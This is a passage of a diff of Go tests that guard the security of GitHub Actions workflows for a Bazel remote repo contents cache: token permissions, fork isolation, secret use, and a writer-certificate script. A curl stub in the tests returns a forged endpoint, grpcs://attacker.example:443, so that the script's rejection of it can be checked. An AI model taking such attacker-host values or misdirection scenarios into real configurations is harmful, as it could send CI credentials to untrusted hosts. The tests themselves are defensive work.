"read"} if !reflect.DeepEqual(doc.Permissions, readOnly) { t.Errorf("workflow permissions = %v, want %v", doc.Permissions, readOnly) @@ -103,8 +104,12 @@ func TestBazelFarmWorkflowSecurity(t *testing.T) { var jobs []string for name, job := range workflow.Jobs { jobs = append(jobs, name) - if !reflect.DeepEqual(job.Permissions, readOnly) { - t.Errorf("job %s permissions = %v, want %v", name, job.Permissions, readOnly) + want := readOnly + if name == "farm" { + want = bazelCallPermissions + } + if !reflect.DeepEqual(job.Permissions, want) { + t.Errorf("job %s permissions = %v, want %v", name, job.Permissions, want) } if len(job.Env) != 0 { t.Errorf("job %s env = %v; want none", name, job.Env) @@ -116,7 +121,8 @@ func TestBazelFarmWorkflowSecurity(t *testing.T) { } secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) walkYAML(root, "", func(path string, key bool, value string) { - if strings.Contains(path, "permissions") && !key && value != "read" { + if strings.Contains(path, "permissions") && !key && value != "read" && + !(strings.HasPrefix(path, ".jobs.farm.permissions.") && bazelCallPermissions[strings.TrimPrefix(path, ".jobs.farm.permissions.")] == value) { t.Errorf("%s = %q; only read permissions are allowed", path, value) } if key && value == "continue-on-error" { @@ -227,6 +233,19 @@ func TestBazelFarmWorkflowSecurity(t *testing.T) { } } +// bazelCallPermissions: every bazel.yml call's token permissions (farm, +// pr.yml, nightly.yml). A called workflow's job gets at most its caller's, +// and GitHub checks them when the run starts, even for a job whose if: +// skips it, so each call grants what bazel.yml's rrc jobs ask for: +// rrc-seed's id-token: write (push to main only) and rrc-verify's issues: +// write (schedule and dispatch only). Neither runs on pull_request, +// merge_group or pull_request_target, and every other bazel.yml job, every +// lane that runs PR or fork code included, keeps contents: read +// (TestBazelWorkflowPermissionsReadOnly), so no PR-authored step ever holds +// either; rbe-west's mint refuses any OIDC token but a main-push bazel.yml +// one anyway. +var bazelCallPermissions = map[string]any{"contents": "read", "id-token": "write", "issues": "write"} + // bazel.yml's side of the farm: the pinned checkout, the one decision input, // and nothing a pull_request_target run could hand a privileged consumer. func TestBazelWorkflowForkFarmInputs(t *testing.T) { @@ -246,6 +265,15 @@ func TestBazelWorkflowForkFarmInputs(t *testing.T) { if actionFamily(step.Uses) != "actions/checkout" { continue } + // The rrc jobs run on push to main, schedule and dispatch only, + // never on pull_request_target: they check out the event's ref, + // with no fork opt-in. + if isBazelRRCJob(name) { + if want := map[string]string{"persist-credentials": "false"}; !reflect.DeepEqual(step.With, want) { + t.Errorf("%s job %s checkout with = %v, want %v", bazelWorkflowName, name, step.With, want) + } + continue + } checkouts++ want := map[string]string{"ref": bazelCheckoutRef, "persist-credentials": "false", "allow-unsafe-pr-checkout": bazelAllowUnsafeCheckout} // F3: package-mcp/package-npm's detect step diffs PR_BASE_SHA @@ -271,8 +299,8 @@ func TestBazelWorkflowForkFarmInputs(t *testing.T) { // shared gascity credential). rbe's checkout (sparse) comes after its // decide step, for the worker-env preflight // (TestBazelRBEWorkerEnvPreflight). - if checkouts != len(workflow.Jobs)-1 { - t.Errorf("%d checkouts in %s, want one per job excluding %s (%d)", checkouts, bazelWorkflowName, bazelRBEPrewarmJobName, len(workflow.Jobs)-1) + if want := len(workflow.Jobs) - 1 - len(bazelRRCJobs); checkouts != want { + t.Errorf("%d checkouts in %s, want one per job excluding %s and the rrc jobs (%d)", checkouts, bazelWorkflowName, bazelRBEPrewarmJobName, want) } if got := workflow.job(t, bazelRBEJobName).Steps[0].Env["FORK_FARM"]; got != bazelForkFarmValue { t.Errorf("rbe FORK_FARM = %q, want %q", got, bazelForkFarmValue) @@ -617,7 +645,11 @@ func TestBazelFarmCacheModeStaysReadOnly(t *testing.T) { } // bazel.yml's token: exactly contents: read, at the top and on any job that -// declares permissions (a call cannot exceed its caller's, but pin it). +// declares permissions (a call cannot exceed its caller's, but pin it), +// except the rrc jobs: rrc-seed's id-token: write and rrc-verify's issues: +// write (pinned by TestBazelRRCSeedJob and TestBazelRRCVerifyJob; neither +// runs on a pull_request, merge_group or pull_request_target event, so the +// callers' wider grants reach no lane and no fork-authored code). func TestBazelWorkflowPermissionsReadOnly(t *testing.T) { var doc struct { Permissions any `yaml:"permissions"` @@ -630,6 +662,9 @@ func TestBazelWorkflowPermissionsReadOnly(t *testing.T) { t.Errorf("%s permissions = %v, want exactly %v", bazelWorkflowName, doc.Permissions, readOnly) } for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + if isBazelRRCJob(name) { + continue + } if job.Permissions != nil && !reflect.DeepEqual(job.Permissions, readOnly) { t.Errorf("%s job %s permissions = %v, want none or exactly %v", bazelWorkflowName, name, job.Permissions, readOnly) } diff --git a/scripts/bazel_rrc_test.go b/scripts/bazel_rrc_test.go new file mode 100644 index 000000000..f423b7337 --- /dev/null +++ b/scripts/bazel_rrc_test.go @@ -0,0 +1,783 @@ +package scripts_test + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "os/exec" + "path/filepath" + "reflect" + "regexp" + "slices" + "sort" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// Bazel's remote repo contents cache on rbe-west (ga-vnycm2.29, ported from +// gascity's bazel.yml, gascity #7467 and #7478). bazel.yml's rbe job turns +// vars.RBE_REPO_CONTENTS_CACHE into its rrc output (off, seed, canary, on); +// each reading lane's reader step appends bazelRRCReadLines to +// .bazelrc.local; the rrc-seed job, on push to main only, runs every lane's +// loading and analysis (.github/scripts/rrc-lane-commands.txt, through +// rrc-run-lanes.sh) and uploads repository trees with a 30-minute +// rbe-rrc-writer-beads certificate (rrc-writer-credential.sh); the +// rrc-verify job, nightly, compares the cache with a cold fetch +// (tools/bazel/rrc_verify.py). + +const ( + bazelRRCReadStep = "Remote repo contents cache (read)" + bazelRRCModeStepID = "rrc" + bazelRRCVar = "vars.RBE_REPO_CONTENTS_CACHE" + bazelRRCSeedJob = "rrc-seed" + bazelRRCSeedJobIf = "${{ github.event_name == 'push' && github.ref == 'refs/heads/main' && needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc != 'off' }}" + bazelRRCVerifyJob = "rrc-verify" + bazelRRCVerifyJobIf = "${{ (github.event_name == 'schedule' || github.event_name == 'workflow_dispatch') && needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc != 'off' }}" + bazelRRCCanaryLane = "bazel-test" + bazelRRCCredential = ".github/scripts/rrc-writer-credential.sh" + bazelRRCRunLanes = ".github/scripts/rrc-run-lanes.sh" + bazelRRCLaneCmds = ".github/scripts/rrc-lane-commands.txt" + bazelRRCVerifyTool = "tools/bazel/rrc_verify.py" + bazelRRCVerifyTest = "tools/bazel/rrc_verify_test.py" + bazelSetupBazelUses = "./.github/actions/setup-bazel" +) + +// bazelRRCReadLanes: the lanes that read the cache under `on` (bazel-test +// alone under `canary`). Not bazel-release-cross (other target platforms, +// not seeded) nor the package gates. +var bazelRRCReadLanes = []string{ + "bazel-cmd-dolt", "bazel-doltserver", "bazel-embedded", "bazel-integration", + "bazel-proxied", "bazel-pure", "bazel-server-storage", "bazel-test", +} + +// bazelRRCReadLines: the reader's .bazelrc.local lines; both are key neutral +// (a startup option, and loading parallelism). +var bazelRRCReadLines = []string{ + "startup --experimental_remote_repo_contents_cache", + "common --loading_phase_threads=64", +} + +// bazelRRCJobs: bazel.yml's jobs that are not lanes (no result output, never +// gated): the remote repo contents cache's writer and its nightly check. +var bazelRRCJobs = []string{bazelRRCSeedJob, bazelRRCVerifyJob} + +// isBazelRRCJob reports whether a bazel.yml job is one of bazelRRCJobs. +func isBazelRRCJob(name string) bool { return slices.Contains(bazelRRCJobs, name) } + +// evalRRCIf evaluates a job or step if: with ctx, failing the test on an +// expression the evaluator cannot read. +func evalRRCIf(t *testing.T, expr string, ctx map[string]string) bool { + t.Helper() + v, err := evalGHExpr(expr, ctx) + if err != nil { + t.Fatalf("evalGHExpr(%q): %v", expr, err) + } + return ghTruthy(v) +} + +// runRRCScript runs a step's script (or a script file) under GitHub's bash +// flags in dir with env, returning its combined output. +func runRRCScript(t *testing.T, dir, script string, env map[string]string) (string, error) { + t.Helper() + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script) + cmd.Dir = dir + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "HOME=" + dir} + for k, v := range env { + cmd.Env = append(cmd.Env, k+"="+v) + } + out, err := cmd.CombinedOutput() + return string(out), err +} + +// rrcOutputs reads a $GITHUB_OUTPUT file (key=value lines). +func rrcOutputs(t *testing.T, path string) map[string]string { + t.Helper() + out := map[string]string{} + data, err := os.ReadFile(path) + if os.IsNotExist(err) { + return out + } + if err != nil { + t.Fatal(err) + } + for _, line := range strings.Split(strings.TrimSpace(string(data)), "\n") { + if k, v, ok := strings.Cut(line, "="); ok { + out[k] = v + } + } + return out +} + +func rrcStep(t *testing.T, job ciWorkflowJob, what string, pick func(ciWorkflowStep) bool) ciWorkflowStep { + t.Helper() + var found []ciWorkflowStep + for _, s := range job.Steps { + if pick(s) { + found = append(found, s) + } + } + if len(found) != 1 { + t.Fatalf("want one %s step, got %d", what, len(found)) + } + return found[0] +} + +// TestBazelRRCModeStep runs the rbe job's rrc step for every variable value +// and execution mode: only mode remote enables anything, unset and off are +// off, and an unknown value is off with a warning (a typo never fails the +// required gate). It reads no secret and runs before the checkout. +func TestBazelRRCModeStep(t *testing.T) { + rbe := readCIWorkflow(t, bazelWorkflowName).Jobs[bazelRBEJobName] + if got := rbe.Outputs["rrc"]; got != "${{ steps.rrc.outputs.rrc }}" { + t.Errorf("rbe job output rrc = %q", got) + } + step := rrcStep(t, rbe, "rrc", func(s ciWorkflowStep) bool { return s.ID == bazelRRCModeStepID }) + if want := map[string]string{"RRC": "${{ " + bazelRRCVar + " }}", "MODE": "${{ steps.decide.outputs.mode }}"}; !reflect.DeepEqual(step.Env, want) { + t.Errorf("rrc step env %v, want %v", step.Env, want) + } + if step.If != "" { + t.Errorf("rrc step if %q; it must always set the output", step.If) + } + for i, s := range rbe.Steps { + if s.Uses != "" { + t.Errorf("rbe step %d (%s) precedes nothing it should: the rrc step must come before any checkout", i, s.Uses) + } + if s.ID == bazelRRCModeStepID { + break + } + } + for _, mode := range []string{"remote", "fork-ro", "fork-rw", "cache", "local", "skip"} { + for value, want := range map[string]string{"": "off", "off": "off", "seed": "seed", "canary": "canary", "on": "on", "On": "off", "true": "off", "on;x": "off"} { + if mode != "remote" { + want = "off" + } + dir := t.TempDir() + output := filepath.Join(dir, "output") + out, err := runRRCScript(t, dir, step.Run, map[string]string{ + "RRC": value, "MODE": mode, "GITHUB_OUTPUT": output, "GITHUB_STEP_SUMMARY": filepath.Join(dir, "summary"), + }) + if err != nil { + t.Errorf("mode %s value %q: %v\n%s", mode, value, err, out) + continue + } + if got := rrcOutputs(t, output)["rrc"]; got != want { + t.Errorf("mode %s value %q: rrc=%q, want %q", mode, value, got, want) + } + unknown := !slices.Contains([]string{"", "off", "seed", "canary", "on"}, value) + if warned := strings.Contains(out, "::warning"); warned != unknown { + t.Errorf("mode %s value %q: warning %v, want %v:\n%s", mode, value, warned, unknown, out) + } + } + } +} + +// TestBazelRRCReadSteps: exactly bazelRRCReadLanes read, in mode remote only +// (fork and local runs never: only rbe-west's trusted edge serves the +// entries), bazel-test under canary and every one of them under on; each +// writes exactly bazelRRCReadLines, never mentions uploads, and comes before +// the job's Set up Bazel (so no Bazel server starts without it). +func TestBazelRRCReadSteps(t *testing.T) { + wf := readCIWorkflow(t, bazelWorkflowName) + var readers []string + for name, job := range wf.Jobs { + read, setup := -1, -1 + for i, s := range job.Steps { + switch { + case s.Name == bazelRRCReadStep: + if read >= 0 { + t.Errorf("%s has two %q steps", name, bazelRRCReadStep) + } + read = i + case s.Uses == bazelSetupBazelUses && setup < 0: + setup = i + } + } + if read < 0 { + continue + } + readers = append(readers, name) + if setup < 0 || read > setup { + t.Errorf("%s: %q at step %d, Set up Bazel at %d; the reader must come first", name, bazelRRCReadStep, read, setup) + } + step := job.Steps[read] + for _, mode := range []string{"remote", "fork-ro", "fork-rw", "cache", "local"} { + for _, rrc := range []string{"off", "seed", "canary", "on"} { + want := mode == "remote" && (rrc == "on" || (rrc == "canary" && name == bazelRRCCanaryLane)) + if got := evalRRCIf(t, step.If, map[string]string{"needs.rbe.outputs.mode": mode, "needs.rbe.outputs.rrc": rrc}); got != want { + t.Errorf("%s mode %s rrc %s: reader runs %v, want %v", name, mode, rrc, got, want) + } + } + } + dir := t.TempDir() + if out, err := runRRCScript(t, dir, step.Run, nil); err != nil { + t.Fatalf("%s reader: %v\n%s", name, err, out) + } + got := strings.Split(strings.TrimSpace(readPolicyFile(t, dir, ".bazelrc.local")), "\n") + if !slices.Equal(got, bazelRRCReadLines) { + t.Errorf("%s reader writes %q, want %q", name, got, bazelRRCReadLines) + } + if strings.Contains(step.Run, "upload") || len(step.Env) != 0 { + t.Errorf("%s reader mentions uploads or takes env; lanes only read", name) + } + } + sort.Strings(readers) + if !slices.Equal(readers, bazelRRCReadLanes) { + t.Errorf("lanes with a reader step %v, want %v", readers, bazelRRCReadLanes) + } +} + +// bazelRRCLaneCommands parses rrc-lane-commands.txt as rrc-run-lanes.sh does. +func bazelRRCLaneCommands(t *testing.T, root string) []string { + t.Helper() + var cmds []string + for _, line := range strings.Split(readPolicyFile(t, root, bazelRRCLaneCmds), "\n") { + line, _, _ = strings.Cut(line, "#") + if line = strings.TrimSpace(line); line != "" { + cmds = append(cmds, line) + } + } + return cmds +} + +// TestBazelRRCLaneCommandsCoverEveryReader: rrc-seed seeds (and rrc-verify +// checks) what the readers fetch, so every --config a reading lane passes to +// `bazel test` or `bazel build` has a command in rrc-lane-commands.txt, and +// every command there is a reading lane's. +func TestBazelRRCLaneCommandsCoverEveryReader(t *testing.T) { + root := sourceRepoRoot(t) + seeded := map[string]bool{} + for _, cmd := range bazelRRCLaneCommands(t, root) { + f := strings.Fields(cmd) + if f[0] != "test" && f[0] != "build" { + t.Errorf("lane command %q: want a test or build command", cmd) + } + for _, a := range f[1:] { + if c, ok := strings.CutPrefix(a, "--config="); ok { + seeded[c] = true + } + } + } + used := map[string]bool{} + invocation := regexp.MustCompile(`\bbazel (?:test|build)\b[^\n]*(?:\\\n[^\n]*)*`) + config := regexp.MustCompile(`--config=([a-z0-9-]+)`) + wf := readCIWorkflow(t, bazelWorkflowName) + for _, lane := range bazelRRCReadLanes { + for _, s := range wf.Jobs[lane].Steps { + for _, inv := range invocation.FindAllString(s.Run, -1) { + for _, m := range config.FindAllStringSubmatch(inv, -1) { + if m[1] != "sole-run" && m[1] != "fresh" { // test-result options, nothing fetched + used[m[1]] = true + } + } + } + } + } + if len(used) < len(bazelRRCReadLanes) { + t.Fatalf("found the configs %v in %d reading lanes; the scan is broken", used, len(bazelRRCReadLanes)) + } + for c := range used { + if !seeded[c] { + t.Errorf("a reading lane runs bazel with --config=%s, which %s does not seed", c, bazelRRCLaneCmds) + } + } + for c := range seeded { + if !used[c] { + t.Errorf("%s seeds --config=%s, which no reading lane uses", bazelRRCLaneCmds, c) + } + } +} + +// TestRRCRunLanes runs rrc-run-lanes.sh with a stub bazel: one --nobuild +// invocation per lane command, in order, startup flags first and command +// flags after; `test --nobuild`'s exit 1 after a successful analysis +// passes, a failed analysis fails, and an empty command list fails. +func TestRRCRunLanes(t *testing.T) { + root := sourceRepoRoot(t) + script := filepath.Join(root, bazelRRCRunLanes) + dir := t.TempDir() + bin := filepath.Join(dir, "bin") + if err := os.MkdirAll(bin, 0o755); err != nil { + t.Fatal(err) + } + calls := filepath.Join(dir, "calls") + stub := "#!/usr/bin/env bash\nprintf '%s\\n' \"$*\" >>" + calls + "\n" + + "if [ -n \"${BAZEL_TEST_FAIL:-}\" ]; then echo 'ERROR: no such package'; echo 'ERROR: Build did NOT complete successfully'; exit 1; fi\n" + + "case \"$*\" in *' build '*) echo 'INFO: Build completed successfully, 0 total actions'; exit 0 ;; esac\n" + + "echo 'INFO: Build completed successfully, 0 total actions'\necho \"ERROR: Couldn't start the build. Unable to run tests\"\nexit 1\n" + if err := os.WriteFile(filepath.Join(bin, "bazel"), []byte(stub), 0o755); err != nil { + t.Fatal(err) + } + env := map[string]string{ + "PATH": bin + string(os.PathListSeparator) + os.Getenv("PATH"), + "GITHUB_STEP_SUMMARY": filepath.Join(dir, "summary"), + } + run := "bash " + script + " --experimental_remote_repo_contents_cache -- --loading_phase_threads=64 --remote_upload_local_results" + if out, err := runRRCScript(t, dir, run, env); err != nil { + t.Fatalf("rrc-run-lanes.sh: %v\n%s", err, out) + } + var want []string + for _, cmd := range bazelRRCLaneCommands(t, root) { + want = append(want, "--experimental_remote_repo_contents_cache "+cmd+" --nobuild --loading_phase_threads=64 --remote_upload_local_results") + } + if got := strings.Split(strings.TrimSpace(readPolicyFile(t, dir, "calls")), "\n"); !slices.Equal(got, want) { + t.Errorf("bazel calls:\n%s\nwant:\n%s", strings.Join(got, "\n"), strings.Join(want, "\n")) + } + if err := os.Remove(calls); err != nil { + t.Fatal(err) + } + if out, err := runRRCScript(t, dir, "bash "+script+" --", env); err != nil { + t.Fatalf("without flags: %v\n%s", err, out) + } + if got := strings.Split(strings.TrimSpace(readPolicyFile(t, dir, "calls")), "\n"); len(got) == 0 || !strings.HasPrefix(got[0], "test ") || !strings.HasSuffix(got[0], " --nobuild") { + t.Errorf("without flags, first call %q", got) + } + + failEnv := map[string]string{"BAZEL_TEST_FAIL": "1"} + for k, v := range env { + failEnv[k] = v + } + if out, err := runRRCScript(t, dir, run, failEnv); err == nil { + t.Errorf("a failed analysis passed:\n%s", out) + } + empty := filepath.Join(dir, "empty.txt") + if err := os.WriteFile(empty, []byte("# nothing\n\n"), 0o644); err != nil { + t.Fatal(err) + } + emptyEnv := map[string]string{"RRC_LANE_COMMANDS": empty} + for k, v := range env { + emptyEnv[k] = v + } + if out, err := runRRCScript(t, dir, run, emptyEnv); err == nil { + t.Errorf("no lane commands passed; it must fail rather than seed nothing:\n%s", out) + } + if out, err := runRRCScript(t, dir, "bash "+script+" --flag", env); err == nil { + t.Errorf("no -- separator passed:\n%s", out) + } +} + +// TestBazelRRCSeedJob: the only writer runs on push to main in mode remote +// with rrc not off, holds the only id-token permission in bazel.yml, reads +// no secret (its credential is the OIDC-minted certificate), sets Bazel up +// in local mode, seeds only with a certificate, uploads to the cache alone +// (no executor), and always removes the key. +func TestBazelRRCSeedJob(t *testing.T) { + wf := readCIWorkflow(t, bazelWorkflowName) + job, ok := wf.Jobs[bazelRRCSeedJob] + if !ok { + t.Fatalf("%s has no %s job", bazelWorkflowName, bazelRRCSeedJob) + } + if job.If != bazelRRCSeedJobIf { + t.Errorf("%s if %q, want %q", bazelRRCSeedJob, job.If, bazelRRCSeedJobIf) + } + if !slices.Equal(job.Needs, []string{bazelRBEJobName}) || job.Outputs != nil { + t.Errorf("%s needs %v outputs %v; it needs the rbe job alone and reports nothing to the gate", bazelRRCSeedJob, job.Needs, job.Outputs) + } + for _, c := range []struct { + event, ref, mode, rrc string + want bool + }{ + {"push", "refs/heads/main", "remote", "seed", true}, + {"push", "refs/heads/main", "remote", "canary", true}, + {"push", "refs/heads/main", "remote", "on", true}, + {"push", "refs/heads/main", "remote", "off", false}, + {"push", "refs/heads/main", "cache", "on", false}, + {"push", "refs/heads/other", "remote", "on", false}, + {"pull_request", "refs/pull/1/merge", "remote", "on", false}, + {"pull_request_target", "refs/heads/main", "remote", "on", false}, + {"merge_group", "refs/heads/gh-readonly-queue/main/pr-1-abc", "remote", "on", false}, + {"workflow_dispatch", "refs/heads/main", "remote", "on", false}, + {"schedule", "refs/heads/main", "remote", "on", false}, + } { + got := evalRRCIf(t, job.If, map[string]string{ + "github.event_name": c.event, "github.ref": c.ref, "needs.rbe.outputs.mode": c.mode, "needs.rbe.outputs.rrc": c.rrc, + }) + if got != c.want { + t.Errorf("%+v: seed runs %v, want %v", c, got, c.want) + } + } + if want := map[string]any{"contents": "read", "id-token": "write"}; !reflect.DeepEqual(job.Permissions, want) { + t.Errorf("%s permissions %v, want %v", bazelRRCSeedJob, job.Permissions, want) + } + raw := readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelWorkflowName) + if text := bazelRRCJobText(t, raw, bazelRRCSeedJob); strings.Contains(text, "secrets.") { + t.Errorf("%s reads a secret; its only credential is the OIDC-minted writer certificate", bazelRRCSeedJob) + } + setup := rrcStep(t, job, "setup-bazel", func(s ciWorkflowStep) bool { return s.Uses == bazelSetupBazelUses }) + if len(setup.Env) != 0 { + t.Errorf("%s setup-bazel env %v; local mode (no executor, no certificate) only", bazelRRCSeedJob, setup.Env) + } + cred := rrcStep(t, job, "writer certificate", func(s ciWorkflowStep) bool { return s.ID == "writer" }) + if cred.Run != "bash "+bazelRRCCredential { + t.Errorf("writer step runs %q, want bash %s", cred.Run, bazelRRCCredential) + } + seed := rrcStep(t, job, "seed", func(s ciWorkflowStep) bool { return strings.Contains(s.Run, bazelRRCRunLanes) }) + if seed.If != "${{ steps.writer.outputs.cert != '' }}" { + t.Errorf("seed step if %q; it must skip when the mint switched seeding off (no certificate)", seed.If) + } + for _, want := range []string{ + "bash " + bazelRRCRunLanes + " --experimental_remote_repo_contents_cache --", "--loading_phase_threads=64", + `"--remote_cache=$ENDPOINT"`, `"--remote_instance_name=$INSTANCE"`, + `"--tls_client_certificate=$CERT"`, `"--tls_client_key=$KEY"`, "--remote_upload_local_results", + } { + if !strings.Contains(seed.Run, want) { + t.Errorf("seed step lacks %q:\n%s", want, seed.Run) + } + } + if strings.Contains(seed.Run, "remote_executor") { + t.Errorf("seed step names an executor; the writer certificate is cache only") + } + cleanup := rrcStep(t, job, "key removal", func(s ciWorkflowStep) bool { return strings.Contains(s.Run, "rrc-writer.key") }) + if cleanup.If != "${{ always() }}" { + t.Errorf("the writer key removal runs if %q; it must always run", cleanup.If) + } +} + +// bazelRRCJobText returns a job's raw text in a workflow. +func bazelRRCJobText(t *testing.T, raw, job string) string { + t.Helper() + start := strings.Index(raw, "\n "+job+":\n") + if start < 0 { + t.Fatalf("cannot find the %s job's text", job) + } + text := raw[start+1:] + if next := regexp.MustCompile(`\n [a-z0-9-]+:\n`).FindStringIndex(text); next != nil { + text = text[:next[0]] + } + return text +} + +// TestBazelRRCVerifyJob: the nightly check runs from nightly.yml (schedule) +// or a dispatch while the cache is in use, fetches every lane cold without +// the repo contents cache, compares with rrc_verify.py using the lanes' +// read-only certificate and setup-bazel's endpoint (no secret outside +// setup-bazel), and alerts through an issue only when the comparison fails. +func TestBazelRRCVerifyJob(t *testing.T) { + wf := readCIWorkflow(t, bazelWorkflowName) + job, ok := wf.Jobs[bazelRRCVerifyJob] + if !ok { + t.Fatalf("%s has no %s job", bazelWorkflowName, bazelRRCVerifyJob) + } + if job.If != bazelRRCVerifyJobIf { + t.Errorf("%s if %q, want %q", bazelRRCVerifyJob, job.If, bazelRRCVerifyJobIf) + } + if job.Outputs != nil { + t.Errorf("%s outputs %v; it reports nothing to the gate", bazelRRCVerifyJob, job.Outputs) + } + for _, c := range []struct { + event, mode, rrc string + want bool + }{ + {"schedule", "remote", "on", true}, + {"schedule", "remote", "seed", true}, + {"workflow_dispatch", "remote", "canary", true}, + {"schedule", "remote", "off", false}, + {"schedule", "cache", "on", false}, + {"push", "remote", "on", false}, + {"pull_request", "remote", "on", false}, + {"pull_request_target", "remote", "on", false}, + {"merge_group", "remote", "on", false}, + } { + got := evalRRCIf(t, job.If, map[string]string{ + "github.event_name": c.event, "needs.rbe.outputs.mode": c.mode, "needs.rbe.outputs.rrc": c.rrc, + }) + if got != c.want { + t.Errorf("%+v: verify runs %v, want %v", c, got, c.want) + } + } + if want := map[string]any{"contents": "read", "issues": "write"}; !reflect.DeepEqual(job.Permissions, want) { + t.Errorf("%s permissions %v, want %v", bazelRRCVerifyJob, job.Permissions, want) + } + for _, s := range job.Steps { + if strings.Contains(s.Run, "experimental_remote_repo_contents_cache") || strings.Contains(s.Run, ".bazelrc.local") || + strings.Contains(s.Run, "remote_upload_local_results") { + t.Errorf("%s step %q reads or writes the repo contents cache; the cold fetch must not", bazelRRCVerifyJob, s.Name) + } + for k, v := range s.Env { + if strings.Contains(v, "secrets.") && s.Uses != bazelSetupBazelUses { + t.Errorf("%s step %q env %s reads a secret; only setup-bazel may", bazelRRCVerifyJob, s.Name, k) + } + } + } + fetch := rrcStep(t, job, "cold fetch", func(s ciWorkflowStep) bool { return strings.HasPrefix(s.Name, "Cold fetch") }) + if fetch.Run != "bash "+bazelRRCRunLanes+" -- --loading_phase_threads=64" { + t.Errorf("cold fetch runs %q; it must run every lane's command with no startup flag", fetch.Run) + } + verify := rrcStep(t, job, "verify", func(s ciWorkflowStep) bool { return s.ID == "verify" }) + for _, want := range []string{"python3 " + bazelRRCVerifyTool, `--cert "$secret_dir/client.crt"`, `--key "$secret_dir/client.key"`, "--instance oss", ".bazelversion", "remote_executor="} { + if !strings.Contains(verify.Run, want) { + t.Errorf("verify step lacks %q", want) + } + } + alert := rrcStep(t, job, "alert", func(s ciWorkflowStep) bool { return strings.Contains(s.Run, "gh issue") }) + if alert.If != "${{ failure() && steps.verify.outcome == 'failure' }}" { + t.Errorf("alert step if %q; it must alert only on a failed comparison", alert.If) + } + if strings.Contains(alert.Run, "${{") { + t.Errorf("alert step interpolates an expression into its script; pass it through env") + } +} + +// permissionRank orders GitHub token permission levels so a grant can be +// compared with a request: write covers read, read covers none. +var permissionRank = map[string]int{"": 0, "none": 0, "read": 1, "write": 2} + +type permWorkflow struct { + Jobs map[string]struct { + Uses string `yaml:"uses"` + Permissions map[string]string `yaml:"permissions"` + } `yaml:"jobs"` +} + +// TestBazelWorkflowCallersGrantEveryRequestedPermission guards against +// startup_failure (gascity #7478): GitHub validates a reusable workflow's +// job permissions when the caller starts, including jobs whose `if:` would +// skip, so every workflow that calls bazel.yml must grant at least the +// highest level any bazel.yml job requests for each scope. +func TestBazelWorkflowCallersGrantEveryRequestedPermission(t *testing.T) { + root := sourceRepoRoot(t) + load := func(name string) permWorkflow { + var wf permWorkflow + if err := yaml.Unmarshal([]byte(readPolicyFile(t, root, ".github/workflows/"+name)), &wf); err != nil { + t.Fatalf("parse %s: %v", name, err) + } + return wf + } + need := map[string]string{} + for _, job := range load(bazelWorkflowName).Jobs { + for scope, level := range job.Permissions { + if permissionRank[level] > permissionRank[need[scope]] { + need[scope] = level + } + } + } + if need["id-token"] != "write" || need["issues"] != "write" { + t.Fatalf("bazel.yml requests %v; the parser is broken or the rrc jobs are gone", need) + } + entries, err := os.ReadDir(filepath.Join(root, ".github", "workflows")) + if err != nil { + t.Fatal(err) + } + var callers []string + for _, e := range entries { + name := e.Name() + if name == bazelWorkflowName || (!strings.HasSuffix(name, ".yml") && !strings.HasSuffix(name, ".yaml")) { + continue + } + for jobName, job := range load(name).Jobs { + if job.Uses != "./.github/workflows/"+bazelWorkflowName { + continue + } + callers = append(callers, name) + var missing []string + for scope, level := range need { + if permissionRank[job.Permissions[scope]] < permissionRank[level] { + missing = append(missing, scope+": "+level) + } + } + sort.Strings(missing) + if len(missing) > 0 { + t.Errorf("%s job %q calls %s without granting %s (startup_failure)", name, jobName, bazelWorkflowName, strings.Join(missing, ", ")) + } + } + } + sort.Strings(callers) + if want := []string{"bazel-farm.yml", "nightly.yml", "pr.yml"}; !slices.Equal(callers, want) { + t.Errorf("bazel.yml callers %v, want %v", callers, want) + } +} + +// rrcMintCurlStub stands in for curl in rrc-writer-credential.sh. The OIDC +// request (its URL carries audience=) logs the audience and authorization +// and answers a token. A mint request logs its Authorization header and +// answers as the space-separated RBE_TEST_MINT says, one word per request +// (the last repeats): ok (a certificate for the runner's key, CN +// rbe-rrc-writer-beads O=gascity), cn, endpoint, instance, otherkey, nocert +// (each wrong in that one way), 000 (connection refused) or an HTTP status +// with an error body. +const rrcMintCurlStub = `#!/usr/bin/env bash +set -euo pipefail +out= url= headers=() +while [ $# -gt 0 ]; do + case "$1" in + -o) out=$2; shift 2 ;; + -H) headers+=("$2"); shift 2 ;; + -w | --data | --connect-timeout | --max-time | --retry) shift 2 ;; + -*) shift ;; + *) url=$1; shift ;; + esac +done +case "$url" in +*audience=*) + echo "oidc audience=${url##*audience=} auth=${headers[0]}" >>"$RBE_TEST_MINT_LOG" + echo '{"value": "oidc-jwt-value"}' + exit 0 + ;; +esac +echo "mint $url auth=${headers[0]}" >>"$RBE_TEST_MINT_LOG" +n=$(grep -c '^mint ' "$RBE_TEST_MINT_LOG") +read -r -a answers <<<"$RBE_TEST_MINT" +i=$((n - 1)); [ "$i" -lt "${#answers[@]}" ] || i=$((${#answers[@]} - 1)) +answer=${answers[$i]} +key="$BAZEL_CI_SECRET_DIR/rrc-writer.key" cn=rbe-rrc-writer-beads endpoint=grpcs://rbe-west.ops.gascity.com:443 instance=oss +case "$answer" in +ok | cn | endpoint | instance | otherkey | nocert) ;; +000) echo "curl: (7) Failed to connect" >&2; exit 7 ;; +*) printf '{"error": "stub %s"}' "$answer" >"$out"; printf '%s' "$answer"; exit 0 ;; +esac +case "$answer" in +cn) cn=rbe-ci ;; +endpoint) endpoint=grpcs://attacker.example:443 ;; +instance) instance=main ;; +otherkey) openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out other.key 2>/dev/null; key=other.key ;; +esac +pem= +if [ "$answer" != nocert ]; then + pem=$(openssl req -new -x509 -key "$key" -subj "/O=gascity/CN=$cn" -days 1 2>/dev/null) +fi +jq -cn --arg pem "$pem" --arg e "$endpoint" --arg i "$instance" --arg cn "$cn" \ + '{cert_pem: $pem, endpoint: $e, instance: $i, cn: $cn}' >"$out" +printf 200 +` + +// TestRRCWriterCredential runs rrc-writer-credential.sh against a stubbed +// curl (rrcMintCurlStub): it asks GitHub for an OIDC token 